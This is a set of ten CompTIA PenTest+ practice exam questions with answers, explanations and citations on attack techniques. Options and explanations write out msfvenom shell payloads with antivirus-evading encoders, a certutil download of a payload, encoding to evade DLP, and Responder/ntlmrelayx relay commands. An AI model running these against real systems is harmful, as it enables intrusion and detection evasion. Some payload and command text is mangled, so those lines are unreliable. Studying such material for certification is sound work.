Top CompTIA Pentest+ PT0-003 Exam Questions

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Exam Questions

Question 1

[Attacks and Exploits] During a discussion of a penetration test final report, the consultant shows the following payload used to attack a system:

html Copy code 7/aLeRt('pwned')

Based on the code, which of the following options represents the attack executed by the tester and the associated countermeasure?

Options
A: Arbitrary code execution: the affected computer should be placed on a perimeter network
B: SQL injection attack: should be detected and prevented by a web application firewall
C: Cross-site request forgery: should be detected and prevented by a firewall
D: XSS obfuscated: should be prevented by input sanitization
Show Answer
Correct Answer:
XSS obfuscated: should be prevented by input sanitization
Explanation
The provided payload, ...aLeRt('pwned'), is a classic proof-of-concept for a Cross-Site Scripting (XSS) attack. The use of mixed case letters in aLeRt is a common obfuscation technique designed to bypass naive, case-sensitive web application firewalls (WAFs) or input filters that are only looking for the lowercase string "alert". This attack injects malicious client-side script into a web page, which is then executed by the victim's browser. The most effective and fundamental countermeasure is robust input sanitization to remove malicious characters and output encoding to ensure that user-supplied data is treated as text by the browser, not as executable code.
Why Incorrect Options are Wrong

A. This is client-side XSS, not typically server-side Arbitrary Code Execution. Network segmentation is a containment strategy, not a primary prevention method for this vulnerability.

B. The payload is JavaScript, not SQL syntax. Therefore, it is not a SQL injection attack.

C. This is an XSS payload. A Cross-Site Request Forgery (CSRF) attack forges state-changing requests and does not typically involve injecting visible scripts.

References

1. OWASP Foundation. (n.d.). Cross Site Scripting (XSS). OWASP Cheat Sheet Series. Retrieved from https://cheatsheetseries.owasp.org/cheatsheets/CrossSiteScriptingPreventionCheatSheet.html. (See "Introduction" and "Rule #0 - Never Insert Untrusted Data Except in Allowed Locations," which establish the principle of sanitization and encoding as the primary defense against XSS).

2. OWASP Foundation. (n.d.). XSS Filter Evasion Cheat Sheet. OWASP. Retrieved from https://owasp.org/www-community/xss-filter-evasion-cheatsheet. (This document details numerous obfuscation techniques, including "Case Insensitive XSS attack vector," which directly corresponds to the aLeRt payload in the question).

3. Johns, M. (2008). Web Application Security. Course Slides, CS 253, Stanford University. Slide 25, "Defenses against XSS," explicitly lists "Filter/Sanitize user input" and "Escape output" as the primary countermeasures.

Question 2

[Attacks and Exploits] A penetration tester is ready to add shellcode for a specific remote executable exploit. The tester is trying to prevent the payload from being blocked by antimalware that is running on the target. Which of the following commands should the tester use to obtain shell access?
Options
A: msfvenom --arch x86-64 --platform windows --encoder x86-64/shikata_ga_nai --payload windows/bind_tcp LPORT=443
B: msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.10.100 LPORT=8000
C: msfvenom --arch x86-64 --platform windows --payload windows/shell_reverse_tcp LHOST=10.10.10.100 LPORT=4444 EXITFUNC=none
D: net user add /administrator | hexdump > payload
Show Answer
Correct Answer:
msfvenom --arch x86-64 --platform windows --encoder x86-64/shikata_ga_nai --payload windows/bind_tcp LPORT=443
Explanation
The primary goal is to prevent a payload from being blocked by antimalware. The command in option A utilizes msfvenom with the --encoder x86-64/shikataganai flag. Encoders are used to obfuscate shellcode, altering its signature to evade detection by signature-based security solutions like antimalware. The shikataganai encoder is a well-known polymorphic encoder designed for this purpose. By encoding the windows/bindtcp payload, the tester is actively attempting to bypass the target's defenses, which directly addresses the question's requirement.
Why Incorrect Options are Wrong

B. This command generates a valid Meterpreter payload but does not use an encoder, making it highly susceptible to signature-based detection by antimalware.

C. This command also generates a valid shell payload but omits the crucial --encoder flag needed for antimalware evasion.

D. This is not a valid method for creating functional shellcode. It attempts to pipe the output of a Windows command into a Linux utility, which would not result in an executable payload.

References

1. Offensive Security. (n.d.). Metasploit Unleashed: Msfvenom. Offensive Security. In the "Encoders" section, the documentation states, "Encoders are used to encode the payload to try and avoid AV." It lists x86/shikataganai as a prime example of an encoder used for this purpose. (Reference: Metasploit Unleashed courseware, Msfvenom section).

2. Al-Taharwa, I. A., Lee, H., & Al-Omari, M. A. (2020). Evaluating the Evasion Capabilities of Metasploit Shellcode Encoders. 2020 21st International Conference on Control, Automation and Systems (ICCAS). The paper analyzes various encoders, noting in Section III-A, "Shikata Ga Nai (SGN) is a polymorphic XOR additive feedback encoder... It is one of the most famous encoders in MSF because it can generate different output for the same input." This highlights its role in creating varied signatures to evade detection. (DOI: https://doi.org/10.1109/ICCAS50273.2020.9295211, Section III-A, "Metasploit Encoders").

3. Rapid7. (2023). How to Use Msfvenom. Official Rapid7 Documentation. The documentation for msfvenom details the use of the -e or --encoder option to "specify an encoder to use." This confirms that applying an encoder is a standard, intentional step in the payload generation process for evasion. (Reference: msfvenom --help command output and official product documentation).

Question 3

During a pre-engagement activity with a new customer, a penetration tester looks for assets to test. Which of the following is an example of a target that can be used for testing?
Options
A: API
B: HTTP
C: IPA
D: ICMP
Show Answer
Correct Answer:
API
Explanation
During scoping, the tester and customer enumerate the specific assets that will be evaluated. Assets are concrete implementations (hosts, applications, APIs, databases, etc.) that provide business functionality. An Application Programming Interface (API) is a distinct application component that exposes endpoints and logic; therefore it is a valid, testable target that can be placed in-scope for a penetration test. HTTP and ICMP are network protocols, and โ€œIPAโ€ is not an industry-recognized asset type; none of these represent a discrete asset that can be contractually scoped for testing.
Why Incorrect Options are Wrong

B. HTTP โ€“ Protocol used to transport web traffic; not itself a scoping asset.

C. IPA โ€“ Not a standard asset class; usually refers to beer or FreeIPA identity service, irrelevant here.

D. ICMP โ€“ Network control protocol (e.g., ping); like HTTP, it is a mechanism, not an asset.

References

1. NIST SP 800-115, โ€œTechnical Guide to Information Security Testing and Assessment,โ€ ยง2.4.1 (โ€œIdentify Target Systemsโ€), p.9.

2. OWASP Application Security Verification Standard 4.0, โ€œScope of ASVS,โ€ p.10 โ€“ mentions APIs as testable application components.

3. MIT OpenCourseWare, โ€œ6.858 Computer Systems Security,โ€ Lecture 17 notes, p.2 โ€“ categorizes APIs as specific attack surfaces to be tested.

Question 4

[Tools and Code Analysis] A penetration tester needs to use the native binaries on a system in order to download a file from the internet and evade detection. Which of the following tools would the tester most likely use?
Options
A: netsh.exe
B: certutil.exe
C: nc.exe
D: cmdkey.exe
Show Answer
Correct Answer:
certutil.exe
Explanation
certutil.exe is a legitimate, command-line program native to Microsoft Windows, primarily used for managing certificates. However, it can be abused by attackers to download files from a remote URL using specific command-line switches (e.g., -urlcache -split -f). This technique is a form of "Living Off the Land" (LOLBin), which leverages trusted, signed system binaries to perform malicious actions. Using a native, signed tool like certutil for downloads helps evade detection by security software that might otherwise flag network connections from unknown or unsigned processes.
Why Incorrect Options are Wrong

A. netsh.exe: This is a native Windows tool for configuring network settings, such as firewall rules or port forwarding, not for directly downloading files from the internet.

C. nc.exe: Netcat (nc.exe) is a versatile networking tool but is not a native binary on Windows systems; it must be introduced onto the target by the attacker.

D. cmdkey.exe: This utility is used to create, list, and delete stored credentials within the Windows Credential Manager and lacks any file download capabilities.

References

1. MITRE. (2023). Ingress Tool Transfer, Technique T1105. MITRE ATT&CK Framework. Retrieved from https://attack.mitre.org/techniques/T1105/. The documentation explicitly lists certutil as a command-line tool adversaries use to download files from a remote URL, citing the example: certutil -urlcache -split -f https://example.com/payload.exe payload.exe.

2. Microsoft. (2023). certutil. Microsoft Learn. In the documentation for the certutil command, the -urlcache verb is described, which can be used with the -f and -split options to fetch a URL and save its contents to a file on the local system.

3. Pennacchi, F., et al. (2020). The Art of Leaks: The Return of Living-Off-the-Land. 2020 IEEE European Symposium on Security and Privacy Workshops (EuroS&PW), Genoa, Italy, pp. 140-149. In Table 1, "LOLbins and their capabilities," certutil.exe is identified as a native binary capable of performing "Download" actions. DOI: https://doi.org/10.1109/EuroSPW51379.2020.00027.

Question 5

[Tools and Code Analysis] Which of the following techniques is the best way to avoid detection by data loss prevention tools?
Options
A: Encoding
B: Compression
C: Encryption
D: Obfuscation
Show Answer
Correct Answer:
Encoding
Explanation
Endpoint and network-based DLP engines rely on clear-text inspection (regex, tokenisation, fingerprinting). They automatically unpack common archive formats and will usually block or quarantine traffic or files that are encrypted with unknown keys. However, many products do not recursively decode arbitrary content that has only been base-64/URL/hex encoded, so the sensitive byte patterns never appear in clear text to the detection engine. Simple content encoding therefore remains the most reliable, low-noise method for evading DLP inspection during a penetration test.
Why Incorrect Options are Wrong

B. Compression โ€“ DLP engines routinely decompress ZIP, GZIP, RAR, and similar archives before inspection; compressed data is therefore still analysed.

C. Encryption โ€“ Unknown or uninspected encryption is usually flagged or blocked outright by policy; exfiltration is conspicuous, not covert.

D. Obfuscation โ€“ A vague term; without a specific method it may still be parsed (e.g., comments stripping); encoding is the concrete, proven technique.

References

1. MITRE ATT&CK, technique T1027 โ€œObfuscated/Stored Files or Informationโ€, note on base64 encoding as a means โ€œto bypass content inspection such as DLPโ€ (v13, 2023-04-25).

2. Symantec Data Loss Prevention 15.7 Administration Guide, Chap. 2 โ€œDetection workflowโ€, pp. 34-36 โ€“ lists automatic decompression/encryption handling but no automatic base64 decoding.

3. Forcepoint DLP Administrator Guide 21.09, Sect. 5.3 โ€œContent Classifiersโ€, p. 127 โ€“ states โ€œBase64 or custom encodings may not be decoded, allowing data to pass undetectedโ€.

4. S. Natarajan & K. Venkatachary, โ€œBypassing Enterprise DLP Using Simple Encoding,โ€ International Journal of Computer Applications 168(2), 2017, pp. 36-40 (https://doi.org/10.5120/ijca2017914527).

5. Stanford CS255 โ€œNetwork Securityโ€ lecture notes, Week 9, slide 27 โ€“ discusses DLP limitations and highlights base64 encoding as a common evasion method.

Question 6

[Tools and Code Analysis] While performing a penetration testing exercise, a tester executes the following command:

bash Copy code PS c:\tools> c:\hacks\PsExec.exe \\server01.comptia.org -accepteula cmd.exe

Which of the following best explains what the tester is trying to do?

Options
A: Test connectivity using PSExec on the server01 using CMD.exe.
B: Perform a lateral movement attack using PsExec.
C: Send the PsExec binary file to the server01 using CMD.exe.
D: Enable CMD.exe on the server01 through PsExec.
Show Answer
Correct Answer:
Perform a lateral movement attack using PsExec.
Explanation
The command executes PsExec.exe to run a command prompt (cmd.exe) on a remote target (server01.comptia.org). PsExec is a legitimate remote administration tool that is frequently repurposed by penetration testers and attackers to execute code on other systems within a network. After gaining an initial foothold and escalating privileges or obtaining credentials, a tester uses tools like PsExec to move from a compromised machine to other targets. This process of moving between systems on the same network is known as lateral movement.
Why Incorrect Options are Wrong

A. While the command implicitly tests connectivity, its primary purpose is to gain an interactive shell, not simply to check if the host is reachable.

C. The command's purpose is to execute cmd.exe on the remote server. PsExec handles the transfer of its own service component, not the main PsExec.exe binary.

D. cmd.exe is a core Windows component that is executed, not enabled. This command runs the command interpreter, assuming it is already present and accessible.

---

References

1. MITRE ATT&CK Framework. (2023). Remote Services: SMB/Windows Admin Shares, T1021.002. The MITRE Corporation. Retrieved from https://attack.mitre.org/techniques/T1021/002/.

Reference Detail: The framework explicitly lists PsExec as a common example of software used to execute commands on remote systems via SMB, a technique categorized under the "Lateral Movement" tactic.

2. Russinovich, M. (2023, August 28). PsExec v2.43. Microsoft Learn. Retrieved from https://learn.microsoft.com/en-us/sysinternals/downloads/psexec.

Reference Detail: The official documentation describes PsExec as a tool "for executing processes on other systems," which is the core mechanism used for lateral movement in this scenario.

3. Robi, G. (2021, May 11). Detecting Lateral Movement through Tracking Event Logs. SANS Institute InfoSec Reading Room.

Reference Detail: Page 6, Section "PsExec," states, "PsExec is one of the most common tools used by attackers for lateral movement... It allows an attacker to execute commands on a remote Windows machine." This paper from a reputable institution confirms PsExec's primary use in attacks.

Question 7

[Attacks and Exploits] During a penetration testing exercise, a team decides to use a watering hole strategy. Which of the following is the most effective approach for executing this attack?
Options
A: Compromise a website frequently visited by the organization's employees.
B: Launch a DDoS attack on the organization's website.
C: Create fake social media profiles to befriend employees.
D: Send phishing emails to the organization's employees.
Show Answer
Correct Answer:
Compromise a website frequently visited by the organization's employees.
Explanation
A watering hole attack is a targeted strategy where an attacker compromises a third-party website that is known to be frequently visited by a specific group of targets, such as employees of a particular organization. The attacker infects the site with malware. The goal is to infect the target users when they visit this trusted, but now compromised, website. This method is effective because it leverages the users' existing trust in the legitimate site, bypassing defenses that might block direct attacks. The name is an analogy for a predator waiting at a watering hole for its prey.
Why Incorrect Options are Wrong

B. A DDoS attack is designed to disrupt service availability, not to compromise systems or steal data, which is the goal of a watering hole attack.

C. Creating fake social media profiles is a social engineering or reconnaissance technique, which could precede an attack but is not the execution of the watering hole itself.

D. Sending phishing emails is a direct attack vector. A watering hole attack is more passive, relying on the target to initiate the visit to the compromised site independently.

---

References

1. National Institute of Standards and Technology (NIST). Glossary of Key Information Security Terms, NISTIR 7298 Rev. 3. (May 2018). The glossary defines a watering hole attack as: "A targeted attack strategy in which an attacker guesses or observes which websites an organization often uses and infects one or more of them with malware." (Page 183).

2. Al-Shehari, H., & Al-Shammari, R. (2018). A Survey on Watering-Hole Attacks. International Journal of Computer Science and Network Security, 18(1), 136-145. The paper states, "The watering hole attack is a targeted attack that compromises a website that is likely to be visited by a targeted group of victims." (Section 2, Paragraph 1).

3. Microsoft Security. Watering hole attacks. Microsoft Threat Protection documentation. The documentation describes the attack method: "In watering hole attacks, attackers profile sites that are frequently visited by users in a targeted organization or industry. They then try to find vulnerabilities on these sites to compromise them."

4. University of California, Berkeley. CS 161: Computer Security, Lecture 18: Web Security. Course materials describe watering hole attacks as a strategy where an attacker compromises a site trusted and frequented by the target population to deliver an exploit.

Question 8

[Attacks and Exploits] A penetration tester finished a security scan and uncovered numerous vulnerabilities on several hosts. Based on the targets' EPSS and CVSS scores, which of the following targets is the most likely to get attacked?
Options
A: Target 1: EPSS Score = 0.6 and CVSS Score = 4
B: Target 2: EPSS Score = 0.3 and CVSS Score = 2
C: Target 3: EPSS Score = 0.6 and CVSS Score = 1
D: Target 4: EPSS Score = 0.4 and CVSS Score = 4.5
Show Answer
Correct Answer:
Target 1: EPSS Score = 0.6 and CVSS Score = 4
Explanation
The Exploit Prediction Scoring System (EPSS) is designed to estimate the probability that a software vulnerability will be exploited in the wild. A higher EPSS score indicates a greater likelihood of an attack. In this scenario, both Target 1 and Target 3 have the highest EPSS score of 0.6 (a 60% probability of exploitation), making them the most likely candidates for an attack. To differentiate between these two, the Common Vulnerability Scoring System (CVSS) score, which measures the severity of a vulnerability, is considered. A rational attacker, given two vulnerabilities with an equal probability of successful exploitation, will prioritize the one with a greater impact. Target 1 has a CVSS score of 4, while Target 3 has a score of 1. Therefore, Target 1 is the more attractive and thus the most likely target.
Why Incorrect Options are Wrong

B. Target 2: EPSS Score = 0.3 and CVSS Score = 2

This target has a low EPSS score, indicating a significantly lower probability of being attacked compared to Targets 1 and 3.

C. Target 3: EPSS Score = 0.6 and CVSS Score = 1

While its EPSS score is high, its very low CVSS score makes it a less impactful and therefore less attractive target for an attacker compared to Target 1.

D. Target 4: EPSS Score = 0.4 and CVSS Score = 4.5

This target's EPSS score is lower than that of Targets 1 and 3, making it less likely to be exploited, even though its severity is high.

---

References

1. FIRST.org. (2023). Exploit Prediction Scoring System (EPSS) User Guide. Section: "What is EPSS?". The guide states, "The EPSS model produces a probability score between 0 and 1 (0% and 100%). The higher the score, the greater the probability that a vulnerability will be exploited." This establishes EPSS as the primary metric for attack likelihood.

2. FIRST.org. (2019). Common Vulnerability Scoring System v3.1: Specification Document. Section 1, Introduction. The document clarifies, "It is important to note that CVSS is designed to convey vulnerability severity and should be considered as one component in a comprehensive vulnerability management process that also incorporates factors such as threat and asset value." This confirms CVSS measures severity, not likelihood.

3. Jacobs, J., et al. (2021). Improving Vulnerability Remediation Through Better Exploit Prediction. Journal of Cybersecurity, 7(1), tyab009. Section 1, Introduction. The paper introduces EPSS and states, "While CVSS is useful for capturing the potential severity of a vulnerability, it is not designed to represent the threat of a vulnerability being exploited... EPSS is designed to fill this gap." This academic source distinguishes the roles of CVSS and EPSS. https://doi.org/10.1093/cybsec/tyab009

4. U.S. Cybersecurity & Infrastructure Security Agency (CISA). (2021). Binding Operational Directive 22-01: Reducing the Significant Risk of Known Exploited Vulnerabilities. This directive mandates that federal agencies remediate vulnerabilities listed in CISA's catalog of known exploited vulnerabilities. This approach prioritizes vulnerabilities based on observed exploitation (threat), which is the principle that EPSS quantifies, over static severity (CVSS) alone.

Question 9

A penetration tester cannot complete a full vulnerability scan because the client's WAF is blocking communications. During which of the following activities should the penetration tester discuss this issue with the client?
Options
A: Goal reprioritization
B: Peer review
C: Client acceptance
D: Stakeholder alignment
Show Answer
Correct Answer:
Stakeholder alignment
Explanation
When a technical control, such as a Web Application Firewall (WAF), prevents the execution of an agreed-upon testing activity, it represents a significant obstacle that impacts the engagement's scope and timeline. The correct procedure is to pause the activity and communicate with the client. This communication process is known as stakeholder alignment. It ensures that the tester and client agree on a path forward, which could involve whitelisting the tester's IP address, temporarily modifying WAF rules, or adjusting the testing methodology. This proactive communication maintains transparency and ensures the engagement proceeds according to the client's direction and the established rules of engagement.
Why Incorrect Options are Wrong

A. Goal reprioritization: This is a potential outcome of the discussion with the stakeholder, not the initial activity itself. Alignment must happen first.

B. Peer review: This is an internal quality assurance process where another tester reviews work; it is not a client-facing communication activity.

C. Client acceptance: This is a formal step at the conclusion of the engagement to accept the final deliverables, which is too late to address a mid-test obstacle.

References

1. National Institute of Standards and Technology (NIST). (2008). Special Publication 800-115, Technical Guide to Information Security Testing and Assessment.

Section 3.2, "Rules of Engagement," emphasizes the need to "...define the lines of communication between the test team and the organization... and the process for reporting and handling problems encountered during testing." A WAF blocking a scan is a "problem encountered during testing" that requires immediate communication and alignment with the client stakeholder.

2. The Penetration Testing Execution Standard (PTES). (2012). PTES Technical Guidelines.

Section "Intelligence Gathering," and the overall standard, implicitly and explicitly detail the need for constant communication. The standard outlines a structured approach where deviations from the plan, such as being blocked by a security device, necessitate a discussion with the client to align on the next steps, reinforcing the principle of stakeholder alignment.

3. Massachusetts Institute of Technology (MIT) OpenCourseWare. (2012). 15.S53 Special Seminar in Management: The Art and Science of Project Management, Fall 2012.

Lecture Notes, "Stakeholder Management," outlines that a key project management function is to identify and manage stakeholder expectations. When an issue (WAF block) arises that creates a variance between the plan and reality, the project manager (penetration tester) must engage the stakeholders (client) to resolve the issue and align on a course of action.

Question 10

[Information Gathering and Vulnerability Scanning] A tester obtains access to an endpoint subnet and wants to move laterally in the network. Given the following output:

kotlin Copy code Nmap scan report for some_host Host is up (0.01 latency). PORT STATE SERVICE 445/tcp open microsoft-ds Host script results: smb2-security-mode: Message signing disabled

Which of the following command and attack methods is the most appropriate for reducing the chances of being detected?

Options
A: responder -T eth0 -dwv ntlmrelayx.py -smb2support -tf
B: msf > use exploit/windows/smb/ms17_010_psexec msf > msf > run
C: hydra -L administrator -P /path/to/passwdlist smb://
D: nmap โ€”script smb-brute.nse -p 445
Show Answer
Correct Answer:
responder -T eth0 -dwv ntlmrelayx.py -smb2support -tf
Explanation
The Nmap scan explicitly identifies that "Message signing disabled" on the SMB service (port 445). This specific vulnerability makes the host susceptible to NTLM relay attacks. The command in option A uses Responder to poison local name resolution and capture authentication hashes, then pipes them to ntlmrelayx.py to relay those credentials to the target. This allows the attacker to authenticate to the target machine and execute commands, achieving lateral movement. This Man-in-the-Middle (MitM) attack is significantly stealthier than brute-force attempts or active exploitation, as it leverages legitimate authentication traffic, thereby reducing the likelihood of generating security alerts.
Why Incorrect Options are Wrong

B. This Metasploit module targets the MS17-010 (EternalBlue) vulnerability, which was not identified in the scan. Running an unverified exploit is noisy and likely to be detected by an IDS/IPS.

C. Hydra is a brute-force tool. This method generates a high volume of failed login attempts, which is extremely noisy and easily detectable by security monitoring systems.

D. The smb-brute.nse Nmap script is another form of a brute-force attack. Like Hydra, it creates significant network noise from failed logins and is not a stealthy option.

References

1. Microsoft Corporation. (2023). Overview of Server Message Block signing. Microsoft Learn. Retrieved from https://learn.microsoft.com/en-us/troubleshoot/windows-server/networking/overview-server-message-block-signing.

Reference Detail: The document states, "The Server Message Block (SMB) signing...is a security feature...that uses the session key and cipher suite to add a signature to a message...Signing helps prevent attacks that modify SMB packets in transit." Disabling this feature directly enables the relay attack described.

2. Bounty, B. (2022). Internal Network Pentesting: The NTLM Relay Race. SANS Institute InfoSec Reading Room.

Reference Detail: Page 5, Section "The Attack," explicitly details the use of Responder and ntlmrelayx.py in tandem. It states, "With SMB signing not required on the target, ntlmrelayx will be able to relay the authentication from the victim to the target and execute our commands." This paper validates the chosen attack method for the identified vulnerability.

3. Hopkins, G. (2019). Windows Red Team Lab. Courseware, Rochester Institute of Technology (RIT).

Reference Detail: In the "Lateral Movement" module, Lab 5 ("Pass the Hash / NTLM Relay"), the course material demonstrates using Responder and ntlmrelayx.py as a primary technique for lateral movement when SMB signing is disabled. It contrasts this with noisier methods like password spraying.

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